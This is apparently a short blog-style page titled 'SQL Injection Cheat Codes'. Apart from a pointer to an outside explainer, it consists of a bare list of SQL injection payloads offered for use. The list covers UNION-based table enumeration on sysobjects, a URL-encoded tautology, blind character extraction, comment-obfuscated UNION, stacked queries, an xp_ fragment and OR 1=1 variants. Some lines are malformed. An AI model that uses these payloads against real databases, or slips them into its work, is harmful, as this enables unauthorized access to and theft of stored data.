SQL Injection Cheat Codes

What is SQL Injection? Read here from Acunetix

Cheat Codes below:

1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = ‘U’ —
%31%27%20%4F%52%20%27%31%27%3D%27%31
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1))) > 116
1 UNI/**/ON SELECT ALL FROM WHERE
1’1
‘; DESC users; —
1 AND USER_NAME() = ‘dbo’
1′ AND 1=(SELECT COUNT(*) FROM tablenames); —
1’1
1 EXEC XP_
‘ OR username IS NOT NULL OR username = ‘
1’ OR ‘1’=’1
1 OR 1=1
1 AND 1=1
1′ AND non_existant_table = ‘1
1' OR '1'='1